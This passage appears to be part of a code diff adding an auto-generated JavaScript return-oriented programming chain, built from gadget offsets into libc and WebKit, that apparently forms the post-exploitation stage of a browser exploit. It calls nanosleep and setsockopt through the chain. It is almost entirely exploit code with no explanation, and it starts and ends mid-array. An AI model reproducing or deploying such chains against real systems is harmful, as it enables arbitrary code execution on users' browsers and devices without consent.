+libc_base+863109, +libc_base+713278, +ropchain+216704, +webkit_base+4687784, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+216824, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+216840, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+217000, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+217032, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+216984, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+217016, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+217128, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+217112, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+217232, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+182976, +libc_base+863109, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+217376, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+217392, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+217360, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+217488, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+217472, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+217584, +webkit_base+4687784, +libc_base+768796 +]); +db([65, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([65, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+217728, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+217744, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+217712, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+15055763, +libc_base+350006, +libc_base+232261, +libc_base+713278, +ropchain+217920, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+217936, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+217904, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+218080, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+218096, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+218048, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+350006, +libc_base+232261, +libc_base+713278, +ropchain+218168, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+863109, +libc_base+713278, +ropchain+218296, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+218312, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+218280, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+218440, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+218472, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+218456, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+218584, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+218576, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+218600, +ropchain+220728, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([25, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([41, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+218848, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+218936, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+218952, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+219096, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+219112, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+219080, +webkit_base+4687784, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+219200, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+219216, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+219376, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+219408, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+219360, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+219392, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+219504, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+219488, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+219608, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+223592, +libc_base+863109, +libc_base+713278 +]); +db([4294967256, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+219752, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+219768, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+219736, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+219896, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+219928, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+219912, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+220040, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+220032, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+220056, +ropchain+220520, +libc_base+388400, +libc_base+713278, +ropchain+220128, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+220288, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+220320, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+220272, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+220304, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+220400, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+220416, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+220512, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+220496, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+603808, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+220680, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+222264, +libc_base+863109, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+489696, +ropchain+220744, +libc_base+489696, +ropchain+220760, +libc_base+489696, +ropchain+215304, +libc_base+388400, +libc_base+713278, +ropchain+220816, +webkit_base+4687784, +libc_base+768796 +]); +db([1, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([1, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+220928, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+220912, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+221024, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+221112, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+221128, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+221232, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+221216, +webkit_base+4687784, +libc_base+388400, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+221288, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+972324, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+221392, +webkit_base+4687784, +libc_base+768796 +]); +db([1, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([1, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+221504, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+221488, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+221600, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+221688, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+221704, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+221808, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+221792, +webkit_base+4687784, +libc_base+388400, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+221880, +webkit_base+4687784, +libc_base+863109, +libc_base+713278 +]); +db([12, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+222016, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+222000, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+222120, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+222136, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+222256, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+222240, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+608613, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+17972187, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+765305, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +webkit_base+4687784, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+489696, +libc_base+430587, +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967080, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([200, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967088, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([192, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967096, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([184, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967104, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([176, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967112, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([168, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+772328 +]); +db([4294967280, 4294967295]); +set_gadgets([ +webkit_base+5236215, +libc_base+772328, +nanosleep_addr, +webkit_base+2989859, +libc_base+713278 +]); +db([4294967192, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([48, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+430587, +libc_base+713278 +]); +db([32, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([24, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([128, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+223584, +webkit_base+4687784, +libc_base+489696 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+608613, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+17972187, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+765305, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +webkit_base+4687784, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+489696, +libc_base+430587, +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967080, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([200, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967088, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([192, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967096, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([184, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967104, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([176, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967112, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([168, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+772328 +]); +db([4294967280, 4294967295]); +set_gadgets([ +webkit_base+5236215, +libc_base+772328, +setsockopt_addr, +webkit_base+2989859, +libc_base+713278 +]); +db([4294967192, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([48, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+430587, +libc_base+713278 +]); +db([32, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([24, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([128, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+224912, +webkit_base+4687784, +libc_base+489696 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+224984, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+225048, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([1032, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+225136, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+225248, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+225232, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+225344, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+225432, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+225448, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+225552, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+225536, +webkit_base+4687784, +libc_base+388400, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+225624, +webkit_base+4687784, +libc_base+863109, +libc_base+713278 +]); +db([12, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+225792, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+225808, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+225776, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+225904, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+225888, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+226000, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+226088, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+226104, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+226208, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+226192, +webkit_base+4687784, +libc_base+388400, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+226280, +webkit_base+4687784, +libc_base+863109, +libc_base+713278 +]); +db([8, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+226448, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+226464, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+226432, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+226560, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+226544, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+226656, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+226744, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+226760, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+226864, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+226848, +webkit_base+4687784, +libc_base+388400, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+226936, +webkit_base+4687784, +libc_base+863109, +libc_base+713278 +]); +db([4, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+227104, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+227120, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+227088, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+227216, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+227200, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ 